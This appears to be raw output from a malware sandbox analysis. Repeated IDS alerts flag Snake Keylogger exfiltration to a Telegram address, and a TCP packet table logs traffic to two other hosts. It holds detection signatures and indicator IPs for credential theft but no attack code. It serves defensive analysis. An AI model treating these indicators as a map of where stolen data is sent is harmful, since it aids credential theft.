2024-12-18T16:17:36.342503+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.5	49846	149.154.167.220	443	TCP
2024-12-18T16:17:36.437927+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.5	49848	149.154.167.220	443	TCP
2024-12-18T16:17:36.520487+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.5	49847	149.154.167.220	443	TCP
2024-12-18T16:17:49.390103+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.5	49854	149.154.167.220	443	TCP
2024-12-18T16:17:49.444271+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.5	49856	149.154.167.220	443	TCP
2024-12-18T16:17:49.481843+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.5	49857	149.154.167.220	443	TCP
2024-12-18T16:17:51.381717+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.5	49889	149.154.167.220	443	TCP
2024-12-18T16:17:51.459517+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.5	49888	149.154.167.220	443	TCP
2024-12-18T16:17:51.484603+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.5	49890	149.154.167.220	443	TCP
2024-12-18T16:17:53.305533+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.5	49896	149.154.167.220	443	TCP
2024-12-18T16:17:53.484345+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.5	49897	149.154.167.220	443	TCP
2024-12-18T16:17:53.506958+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.5	49898	149.154.167.220	443	TCP
2024-12-18T16:17:55.370908+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.5	49903	149.154.167.220	443	TCP
2024-12-18T16:17:55.483625+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.5	49904	149.154.167.220	443	TCP
2024-12-18T16:17:55.524486+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.5	49905	149.154.167.220	443	TCP
2024-12-18T16:17:57.380673+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.5	49911	149.154.167.220	443	TCP
2024-12-18T16:17:57.573416+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.5	49913	149.154.167.220	443	TCP
2024-12-18T16:17:57.635179+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.5	49912	149.154.167.220	443	TCP
2024-12-18T16:17:59.375673+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.5	49919	149.154.167.220	443	TCP
2024-12-18T16:17:59.580713+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.5	49920	149.154.167.220	443	TCP
2024-12-18T16:17:59.639880+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.5	49921	149.154.167.220	443	TCP
2024-12-18T16:18:01.318425+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.5	49926	149.154.167.220	443	TCP
2024-12-18T16:18:01.571029+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.5	49928	149.154.167.220	443	TCP
2024-12-18T16:18:01.603400+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.5	49929	149.154.167.220	443	TCP
2024-12-18T16:18:03.392072+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.5	49934	149.154.167.220	443	TCP
2024-12-18T16:18:03.529800+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.5	49936	149.154.167.220	443	TCP
2024-12-18T16:18:03.666271+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.5	49937	149.154.167.220	443	TCP
2024-12-18T16:18:05.349537+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.5	49941	149.154.167.220	443	TCP
2024-12-18T16:18:05.443772+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.5	49943	149.154.167.220	443	TCP
2024-12-18T16:18:05.612499+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.5	49944	149.154.167.220	443	TCP
2024-12-18T16:18:07.581908+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.5	49949	149.154.167.220	443	TCP
2024-12-18T16:18:07.680349+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.5	49950	149.154.167.220	443	TCP
2024-12-18T16:18:07.704153+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.5	49952	149.154.167.220	443	TCP
2024-12-18T16:18:09.708901+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.5	49958	149.154.167.220	443	TCP
2024-12-18T16:18:09.773344+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.5	49959	149.154.167.220	443	TCP
2024-12-18T16:18:09.810147+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.5	49960	149.154.167.220	443	TCP
2024-12-18T16:18:11.797610+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.5	49966	149.154.167.220	443	TCP
2024-12-18T16:18:11.812814+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.5	49968	149.154.167.220	443	TCP
2024-12-18T16:18:11.853841+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.5	49967	149.154.167.220	443	TCP
2024-12-18T16:18:14.047343+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.5	49973	149.154.167.220	443	TCP
2024-12-18T16:18:14.100657+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.5	49974	149.154.167.220	443	TCP
2024-12-18T16:18:14.154114+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.5	49976	149.154.167.220	443	TCP
2024-12-18T16:18:15.983634+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.5	49982	149.154.167.220	443	TCP
2024-12-18T16:18:16.111926+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.5	49983	149.154.167.220	443	TCP
2024-12-18T16:18:16.152443+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.5	49984	149.154.167.220	443	TCP
2024-12-18T16:18:17.915743+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.5	49989	149.154.167.220	443	TCP
2024-12-18T16:18:18.073303+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.5	49990	149.154.167.220	443	TCP
2024-12-18T16:18:18.111085+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.5	49991	149.154.167.220	443	TCP
2024-12-18T16:18:19.846297+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.5	49997	149.154.167.220	443	TCP
2024-12-18T16:18:20.045944+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.5	49998	149.154.167.220	443	TCP
2024-12-18T16:18:20.076195+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.5	49999	149.154.167.220	443	TCP
2024-12-18T16:18:21.927558+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.5	50004	149.154.167.220	443	TCP
2024-12-18T16:18:22.092437+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.5	50005	149.154.167.220	443	TCP
2024-12-18T16:18:22.120855+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.5	50007	149.154.167.220	443	TCP
2024-12-18T16:18:24.287503+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.5	50014	149.154.167.220	443	TCP
2024-12-18T16:18:24.288171+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.5	50012	149.154.167.220	443	TCP
2024-12-18T16:18:24.288771+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.5	50013	149.154.167.220	443	TCP
2024-12-18T16:18:26.252702+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.5	50020	149.154.167.220	443	TCP
2024-12-18T16:18:26.311353+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.5	50022	149.154.167.220	443	TCP
2024-12-18T16:18:26.366662+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.5	50021	149.154.167.220	443	TCP
2024-12-18T16:18:28.288311+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.5	50028	149.154.167.220	443	TCP
2024-12-18T16:18:28.333244+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.5	50029	149.154.167.220	443	TCP
2024-12-18T16:18:28.371274+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.5	50030	149.154.167.220	443	TCP
2024-12-18T16:18:30.205741+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.5	50037	149.154.167.220	443	TCP
2024-12-18T16:18:30.323151+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.5	50038	149.154.167.220	443	TCP
2024-12-18T16:18:30.356116+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.5	50039	149.154.167.220	443	TCP
2024-12-18T16:18:32.166367+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.5	50044	149.154.167.220	443	TCP
2024-12-18T16:18:32.380021+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.5	50045	149.154.167.220	443	TCP
2024-12-18T16:18:32.422146+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.5	50046	149.154.167.220	443	TCP
2024-12-18T16:18:34.245957+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.5	50049	149.154.167.220	443	TCP
2024-12-18T16:18:34.375883+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.5	50052	149.154.167.220	443	TCP
2024-12-18T16:18:34.414007+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.5	50053	149.154.167.220	443	TCP
2024-12-18T16:18:36.176798+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.5	50057	149.154.167.220	443	TCP
2024-12-18T16:18:36.335163+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.5	50058	149.154.167.220	443	TCP
2024-12-18T16:18:36.367743+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.5	50059	149.154.167.220	443	TCP
2024-12-18T16:18:38.112744+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.5	50065	149.154.167.220	443	TCP
2024-12-18T16:18:38.317119+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.5	50066	149.154.167.220	443	TCP
2024-12-18T16:18:38.348443+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.5	50067	149.154.167.220	443	TCP
2024-12-18T16:18:40.032364+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.5	50072	149.154.167.220	443	TCP
2024-12-18T16:18:40.250609+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.5	50073	149.154.167.220	443	TCP
2024-12-18T16:18:40.297416+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.5	50074	149.154.167.220	443	TCP
2024-12-18T16:18:41.997405+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.5	50080	149.154.167.220	443	TCP
2024-12-18T16:18:42.351105+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.5	50081	149.154.167.220	443	TCP
2024-12-18T16:18:42.395242+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.5	50082	149.154.167.220	443	TCP
2024-12-18T16:18:43.931774+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.5	50087	149.154.167.220	443	TCP
2024-12-18T16:18:44.349926+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.5	50089	149.154.167.220	443	TCP
2024-12-18T16:18:45.072902+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.5	50090	149.154.167.220	443	TCP
2024-12-18T16:18:45.842958+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.5	50094	149.154.167.220	443	TCP
2024-12-18T16:18:46.296362+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.5	50096	149.154.167.220	443	TCP
2024-12-18T16:18:47.101890+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.5	50098	149.154.167.220	443	TCP
2024-12-18T16:18:51.477554+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.5	50100	149.154.167.220	443	TCP
2024-12-18T16:18:51.722173+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.5	50104	149.154.167.220	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 18, 2024 16:16:39.612137079 CET	49714	443	192.168.2.5	185.166.143.49
Dec 18, 2024 16:16:39.612190008 CET	443	49714	185.166.143.49	192.168.2.5
Dec 18, 2024 16:16:39.612343073 CET	49714	443	192.168.2.5	185.166.143.49
Dec 18, 2024 16:16:39.612550974 CET	49714	443	192.168.2.5	185.166.143.49
Dec 18, 2024 16:16:39.612651110 CET	443	49714	185.166.143.49	192.168.2.5
Dec 18, 2024 16:16:39.612931967 CET	49714	443	192.168.2.5	185.166.143.49
Dec 18, 2024 16:16:39.644778967 CET	49715	443	192.168.2.5	185.166.143.49
Dec 18, 2024 16:16:39.644812107 CET	443	49715	185.166.143.49	192.168.2.5
Dec 18, 2024 16:16:39.644937038 CET	49715	443	192.168.2.5	185.166.143.49
Dec 18, 2024 16:16:39.646501064 CET	49715	443	192.168.2.5	185.166.143.49
Dec 18, 2024 16:16:39.646512032 CET	443	49715	185.166.143.49	192.168.2.5
Dec 18, 2024 16:16:41.243875980 CET	443	49715	185.166.143.49	192.168.2.5
Dec 18, 2024 16:16:41.243952990 CET	49715	443	192.168.2.5	185.166.143.49
Dec 18, 2024 16:16:41.307271004 CET	49715	443	192.168.2.5	185.166.143.49
Dec 18, 2024 16:16:41.307284117 CET	443	49715	185.166.143.49	192.168.2.5
Dec 18, 2024 16:16:41.308228016 CET	443	49715	185.166.143.49	192.168.2.5
Dec 18, 2024 16:16:41.354794025 CET	49715	443	192.168.2.5	185.166.143.49
Dec 18, 2024 16:16:41.389704943 CET	49715	443	192.168.2.5	185.166.143.49
Dec 18, 2024 16:16:41.431334019 CET	443	49715	185.166.143.49	192.168.2.5
Dec 18, 2024 16:16:41.957962036 CET	443	49715	185.166.143.49	192.168.2.5
Dec 18, 2024 16:16:41.958028078 CET	443	49715	185.166.143.49	192.168.2.5
Dec 18, 2024 16:16:41.958111048 CET	49715	443	192.168.2.5	185.166.143.49
Dec 18, 2024 16:16:41.958125114 CET	443	49715	185.166.143.49	192.168.2.5
Dec 18, 2024 16:16:41.958153009 CET	49715	443	192.168.2.5	185.166.143.49
Dec 18, 2024 16:16:41.958178997 CET	443	49715	185.166.143.49	192.168.2.5
Dec 18, 2024 16:16:41.958230972 CET	49715	443	192.168.2.5	185.166.143.49
Dec 18, 2024 16:16:41.959863901 CET	49715	443	192.168.2.5	185.166.143.49
Dec 18, 2024 16:16:41.959878922 CET	443	49715	185.166.143.49	192.168.2.5
Dec 18, 2024 16:16:41.959893942 CET	49715	443	192.168.2.5	185.166.143.49
Dec 18, 2024 16:16:41.959901094 CET	443	49715	185.166.143.49	192.168.2.5
Dec 18, 2024 16:16:42.343116045 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:42.343178988 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:42.343256950 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:42.343728065 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:42.343745947 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:43.767878056 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:43.767945051 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:43.773580074 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:43.773592949 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:43.774008036 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:43.775763035 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:43.819361925 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:44.233205080 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:44.278816938 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:44.283555984 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:44.283581018 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:44.283627033 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:44.283663988 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:44.283695936 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:44.283723116 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:44.283751965 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:44.283751965 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:44.283777952 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:44.283823967 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:44.638253927 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:44.638297081 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:44.638350010 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:44.638410091 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:44.638438940 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:44.638498068 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:44.638524055 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:44.639440060 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:44.647202015 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:44.647258043 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:44.647295952 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:44.647308111 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:44.647366047 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:44.647397041 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:44.647444010 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:44.648361921 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:44.648428917 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:44.652345896 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:44.652455091 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:44.652466059 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:44.693881989 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:44.784024954 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:44.784054041 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:44.784178019 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:44.784215927 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:44.784272909 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:44.791850090 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:44.816772938 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:44.816827059 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:44.816855907 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:44.816885948 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:44.816904068 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:44.847604990 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:44.847683907 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:44.847688913 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:44.847717047 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:44.847749949 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:44.877177000 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:44.877229929 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:44.877247095 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:44.877259016 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:44.877290964 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:44.905311108 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:44.905371904 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:44.905394077 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:44.905405998 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:44.905658960 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:44.905690908 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:44.935674906 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:44.935728073 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:44.935748100 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:44.935759068 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:44.935792923 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:44.935817957 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:44.963768005 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:44.963797092 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:44.963865995 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:44.963869095 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:44.963911057 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:44.963922024 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:44.963936090 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:44.964164019 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:44.964191914 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:44.964251041 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:44.985374928 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:44.985398054 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:44.985549927 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:44.985579967 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:44.985596895 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:44.985601902 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:44.985644102 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:44.985671997 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:44.988004923 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:45.005600929 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:45.005649090 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:45.005686998 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:45.005695105 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:45.005736113 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:45.017383099 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:45.017421961 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:45.017478943 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:45.017483950 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:45.017541885 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:45.017584085 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:45.017648935 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:45.028642893 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:45.028665066 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:45.028738976 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:45.028750896 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:45.028840065 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:45.029731989 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:45.039007902 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:45.039028883 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:45.039083958 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:45.039091110 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:45.039119005 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:45.048949957 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:45.049021959 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:45.049051046 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:45.049067974 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:45.049141884 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:45.059407949 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:45.059534073 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:45.059545040 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:45.059571981 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:45.059614897 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:45.059659958 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:45.069777012 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:45.069823980 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:45.069859028 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:45.069866896 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:45.069906950 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:45.069924116 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:45.070888042 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:45.079355001 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:45.079400063 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:45.079437017 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:45.079444885 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:45.079478979 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:45.089523077 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:45.089648008 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:45.089674950 CET	443	49716	52.217.32.148	192.168.2.5
Dec 18, 2024 16:16:45.089766979 CET	49716	443	192.168.2.5	52.217.32.148
Dec 18, 2024 16:16:45.193451881 CET	443	49716	52.217.32.148	192.168.2.5
